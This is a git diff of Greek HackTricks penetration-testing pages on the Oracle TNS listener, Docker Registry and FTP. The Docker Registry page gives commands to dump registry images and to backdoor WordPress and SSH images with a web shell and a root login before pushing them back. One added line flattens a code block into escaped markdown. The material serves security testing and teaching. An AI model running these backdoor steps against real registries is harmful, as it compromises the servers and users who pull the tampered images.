|
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||||
|
|
||||||
|
Όταν γίνεται απαρίθμηση της Oracle, το πρώτο βήμα είναι να μιλήσετε με τον TNS-Listener που συνήθως βρίσκεται στην προεπιλεγμένη θύρα (1521/TCP, -μπορείτε επίσης να έχετε δευτερεύοντες listeners στις θύρες 1522-1529-).
|
||||||
|
|
||||||
|
```
|
||||||
|
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||||
|
1748/tcp open oracle-tns Oracle TNS Listener
|
||||||
|
```
|
||||||
|
|
||||||
|
## Περίληψη
|
||||||
|
|
||||||
|
1. **Απαρίθμηση Έκδοσης**: Αναγνωρίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
|
||||||
|
2. **Βίαιη Δοκιμή TNS Listener**: Μερικές φορές είναι απαραίτητη για την εγκαθίδρυση επικοινωνίας.
|
||||||
|
3. **Απαρίθμηση/Βίαιη Δοκιμή Ονομάτων SID**: Ανακαλύψτε τα ονόματα των βάσεων δεδομένων (SID).
|
||||||
|
4. **Βίαιη Δοκιμή Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στα ανακαλυφθέντα SID.
|
||||||
|
5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα.
|
||||||
|
|
||||||
|
Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε ορισμένες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||||
|
|
||||||
|
## Αναρτήσεις
|
||||||
|
|
||||||
|
Ελέγξτε αυτές τις αναρτήσεις:
|
||||||
|
|
||||||
|
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||||
|
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||||
|
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||||
|
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||||
|
|
||||||
|
## Αυτόματες Εντολές HackTricks
|
||||||
|
|
||||||
|
```
|
||||||
|
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||||
|
Port_Number: 1521 #Comma separated if there is more than one.
|
||||||
|
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||||
|
|
||||||
|
Entry_1:
|
||||||
|
Name: Notes
|
||||||
|
Description: Notes for Oracle
|
||||||
|
Note: |
|
||||||
|
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||||
|
|
||||||
|
#great oracle enumeration tool
|
||||||
|
navigate to https://github.com/quentinhardy/odat/releases/
|
||||||
|
download the latest
|
||||||
|
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||||
|
cd odat-libc2.12-x86_64/
|
||||||
|
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||||
|
|
||||||
|
for more details check https://github.com/quentinhardy/odat/wiki
|
||||||
|
|
||||||
|
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||||
|
|
||||||
|
Entry_2:
|
||||||
|
Name: Nmap
|
||||||
|
Description: Nmap with Oracle Scripts
|
||||||
|
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||||
|
```
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# 5000 - Ελεγχος Ασφάλειας Docker Registry
|
# 5000 - Pentesting Docker Registry
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,18 +21,24 @@
|
||||||
Το **DockerHub** λειτουργεί ως το προεπιλεγμένο δημόσιο registry για το Docker, αλλά οι ϧρήστες έχουν επίσης την επιλογή να λειτουργήσουν μια εκδοχή on-premise του ανοικτού κώδικα Docker registry/distribution ή να επιλέξουν το εμπορικά υποστηριζόμενο **Docker Trusted Registry**. Επιπλέον, μπορούν να βρεθούν διάφορα άλλα δημόσια registries online.
|
Το **DockerHub** λειτουργεί ως το προεπιλεγμένο δημόσιο registry για το Docker, αλλά οι ϧρήστες έχουν επίσης την επιλογή να λειτουργήσουν μια εκδοχή on-premise του ανοικτού κώδικα Docker registry/distribution ή να επιλέξουν το εμπορικά υποστηριζόμενο **Docker Trusted Registry**. Επιπλέον, μπορούν να βρεθούν διάφορα άλλα δημόσια registries online.
|
||||||
|
|
||||||
Για να κατεβάσετε μια εικόνα από ένα on-premise registry, χρησιμοποιείται η ακόλουθη εντολή:
|
Για να κατεβάσετε μια εικόνα από ένα on-premise registry, χρησιμοποιείται η ακόλουθη εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull my-registry:9000/foo/bar:2.1
|
docker pull my-registry:9000/foo/bar:2.1
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το απομακρυσμένο αποθετήριο στον τομέα `my-registry` στη θύρα `9000`. Αντίστοιχα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν το `2.1` είναι η τελευταία έκδοση, η εντολή απλοποιείται σε:
|
Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το απομακρυσμένο αποθετήριο στον τομέα `my-registry` στη θύρα `9000`. Αντίστοιχα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν το `2.1` είναι η τελευταία έκδοση, η εντολή απλοποιείται σε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull foo/bar
|
docker pull foo/bar
|
||||||
```
|
```
|
||||||
|
|
||||||
**Προεπιλεγμένη θύρα:** 5000
|
**Προεπιλεγμένη θύρα:** 5000
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5000/tcp open http Docker Registry (API: 2.0)
|
5000/tcp open http Docker Registry (API: 2.0)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ανακάλυψη
|
## Ανακάλυψη
|
||||||
|
|
||||||
Ο ευκολότερος τρόπος να ανακαλύψετε ότι αυτή η υπηρεσία λειτουργεί είναι να την εντοπίσετε στην έξοδο του nmap. Παρόλα αυτά, σημειώστε ότι καθώς πρόκειται για μια υπηρεσία βασισμένη σε HTTP, μπορεί να βρίσκεται πίσω από HTTP proxies και το nmap δεν θα το ανιχνεύσει.\
|
Ο ευκολότερος τρόπος να ανακαλύψετε ότι αυτή η υπηρεσία λειτουργεί είναι να την εντοπίσετε στην έξοδο του nmap. Παρόλα αυτά, σημειώστε ότι καθώς πρόκειται για μια υπηρεσία βασισμένη σε HTTP, μπορεί να βρίσκεται πίσω από HTTP proxies και το nmap δεν θα το ανιχνεύσει.\
|
||||||
|
@ -49,6 +55,7 @@ PORT STATE SERVICE VERSION
|
||||||
### HTTP/HTTPS
|
### HTTP/HTTPS
|
||||||
|
|
||||||
Το Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που ίσως χρειαστείτε να κάνετε είναι να **βρείτε ποιο** από τα δύο έχει ρυθμιστεί:
|
Το Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που ίσως χρειαστείτε να κάνετε είναι να **βρείτε ποιο** από τα δύο έχει ρυθμιστεί:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
#If HTTPS
|
#If HTTPS
|
||||||
|
@ -59,9 +66,11 @@ Warning: <FILE>" to save to a file.
|
||||||
#If HTTP
|
#If HTTP
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ταυτοποίηση
|
### Ταυτοποίηση
|
||||||
|
|
||||||
Το αποθετήριο Docker μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **ταυτοποίηση**:
|
Το αποθετήριο Docker μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **ταυτοποίηση**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If Authentication required
|
#If Authentication required
|
||||||
|
@ -69,14 +78,18 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If no authentication required
|
#If no authentication required
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
|
||||||
Αν το Docker Registry απαιτεί πιστοποίηση, μπορείτε [**να δοκιμάσετε να το χτυπήσετε με βία** χρησιμοποιώντας αυτό](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
Αν το Docker Registry απαιτεί πιστοποίηση, μπορείτε [**να δοκιμάσετε να το χτυπήσετε με βία** χρησιμοποιώντας αυτό](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||||
**Αν βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να τα χρησιμοποιήσετε** για να απαριθμήσετε το registry, στο `curl` μπορείτε να τα χρησιμοποιήσετε όπως παρακάτω:
|
**Αν βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να τα χρησιμοποιήσετε** για να απαριθμήσετε το registry, στο `curl` μπορείτε να τα χρησιμοποιήσετε όπως παρακάτω:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||||
```
|
```
|
||||||
|
|
||||||
### Απαρίθμηση χρησιμοποιώντας το DockerRegistryGrabber
|
### Απαρίθμηση χρησιμοποιώντας το DockerRegistryGrabber
|
||||||
|
|
||||||
Το [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο σε Python για την απαρίθμηση / ανάκτηση δεδομένων από το αποθετήριο Docker (χωρίς ή με βασική ταυτοποίηση).
|
Το [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο σε Python για την απαρίθμηση / ανάκτηση δεδομένων από το αποθετήριο Docker (χωρίς ή με βασική ταυτοποίηση).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||||
|
|
||||||
|
@ -150,9 +163,11 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
```
|
```
|
||||||
|
|
||||||
### Απαρίθμηση χρησιμοποιώντας το curl
|
### Απαρίθμηση χρησιμοποιώντας το curl
|
||||||
|
|
||||||
Μόλις **αποκτήσετε πρόσβαση στο αποθετήριο του docker**, εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το απαριθμήσετε:
|
Μόλις **αποκτήσετε πρόσβαση στο αποθετήριο του docker**, εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το απαριθμήσετε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List repositories
|
#List repositories
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
|
@ -215,11 +230,13 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
||||||
#Inspect the insides of each blob
|
#Inspect the insides of each blob
|
||||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Σημείωση ότι όταν κατεβάσετε και αποσυμπιέσετε τα αρχεία blobs, θα εμφανιστούν αρχεία και φάκελοι στον τρέχοντα κατάλογο. **Αν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τιμές από τα προηγουμένως αποσυμπιεσμένα blobs**, οπότε να είστε προσεκτικοί. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να ελέγξετε το ακριβές περιεχόμενο κάθε blob.
|
Σημείωση ότι όταν κατεβάσετε και αποσυμπιέσετε τα αρχεία blobs, θα εμφανιστούν αρχεία και φάκελοι στον τρέχοντα κατάλογο. **Αν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τιμές από τα προηγουμένως αποσυμπιεσμένα blobs**, οπότε να είστε προσεκτικοί. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να ελέγξετε το ακριβές περιεχόμενο κάθε blob.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Απαρίθμηση χρησιμοποιώντας το docker
|
### Απαρίθμηση χρησιμοποιώντας το docker
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||||
docker pull 10.10.10.10:5000/ubuntu
|
docker pull 10.10.10.10:5000/ubuntu
|
||||||
|
@ -238,6 +255,7 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||||
docker ps #Using a different shell
|
docker ps #Using a different shell
|
||||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
|
|
||||||
### Προσθήκη πίσω πόρτας (backdoor) στην εικόνα του WordPress
|
### Προσθήκη πίσω πόρτας (backdoor) στην εικόνα του WordPress
|
||||||
|
|
||||||
Στην περίπτωση που έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα του WordPress, μπορείτε να την προσθέσετε μια πίσω πόρτα.\
|
Στην περίπτωση που έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα του WordPress, μπορείτε να την προσθέσετε μια πίσω πόρτα.\
|
||||||
|
@ -252,50 +270,48 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
Δημιουργήστε ένα **Dockerfile**:
|
Δημιουργήστε ένα **Dockerfile**:
|
||||||
|
|
||||||
{% code title="Dockerfile" %}
|
{% code title="Dockerfile" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
FROM 10.10.10.10:5000/wordpress
|
FROM 10.10.10.10:5000/wordpress
|
||||||
COPY shell.php /app/
|
COPY shell.php /app/
|
||||||
RUN chmod 777 /app/shell.php
|
RUN chmod 777 /app/shell.php
|
||||||
```
|
```
|
||||||
|
|
||||||
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι δημιουργήθηκε, και **πατήστε** την:
|
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι δημιουργήθηκε, και **πατήστε** την:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker build -t 10.10.10.10:5000/wordpress .
|
docker build -t 10.10.10.10:5000/wordpress .
|
||||||
#Create
|
#Create
|
||||||
docker images
|
docker images
|
||||||
docker push registry:5000/wordpress #Push it
|
docker push registry:5000/wordpress #Push it
|
||||||
```
|
```
|
||||||
|
|
||||||
### Τοποθέτηση πίσω πόρτας στην εικόνα του διακομιστή SSH
|
### Τοποθέτηση πίσω πόρτας στην εικόνα του διακομιστή SSH
|
||||||
|
|
||||||
Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να τοποθετήσετε μια πίσω πόρτα σε αυτήν.\
|
Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να τοποθετήσετε μια πίσω πόρτα σε αυτήν.\
|
||||||
**Κατεβάστε** την εικόνα και **τρέξτε** την:
|
**Κατεβάστε** την εικόνα και **τρέξτε** την:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||||
```
|
```
|
||||||
|
|
||||||
Εξαγάγετε το αρχείο `sshd_config` από την εικόνα SSH:
|
Εξαγάγετε το αρχείο `sshd_config` από την εικόνα SSH:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||||
```
|
```
|
||||||
|
|
||||||
Και τροποποιήστε το για να ορίσετε: `PermitRootLogin yes`
|
Και τροποποιήστε το για να ορίσετε: `PermitRootLogin yes`
|
||||||
|
|
||||||
Δημιουργήστε ένα **Dockerfile** όπως το παρακάτω:
|
Δημιουργήστε ένα **Dockerfile** όπως το παρακάτω:
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="Dockerfile" %}
|
|
||||||
```bash
|
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Δημιουργήστε\*\* τη νέα εικόνα, \*\*ελέγξτε\*\* ότι δημιουργήθηκε, και \*\*ανεβάστε\*\* την: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Αναφορές \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
|
||||||
COPY sshd_config /etc/ssh/
|
|
||||||
RUN echo root:password | chpasswd
|
|
||||||
```
|
|
||||||
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι δημιουργήθηκε, και **ανεβάστε** την:
|
|
||||||
```bash
|
|
||||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
|
||||||
#Create
|
|
||||||
docker images
|
|
||||||
docker push registry:5000/sshd-docker-cli #Push it
|
|
||||||
```
|
|
||||||
## Αναφορές
|
|
||||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -306,7 +322,7 @@ docker push registry:5000/sshd-docker-cli #Push it
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# 21 - Ελεγχος Εισβολής στο FTP
|
# 21 - Pentesting FTP
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -26,10 +26,12 @@
|
||||||
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** και γι' αυτό μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας το `telnet`** ή το **`nc -C`**.
|
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** και γι' αυτό μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας το `telnet`** ή το **`nc -C`**.
|
||||||
|
|
||||||
**Προεπιλεγμένη Θύρα:** 21
|
**Προεπιλεγμένη Θύρα:** 21
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
21/tcp open ftp
|
21/tcp open ftp
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενεργές & Παθητικές Συνδέσεις
|
### Ενεργές & Παθητικές Συνδέσεις
|
||||||
|
|
||||||
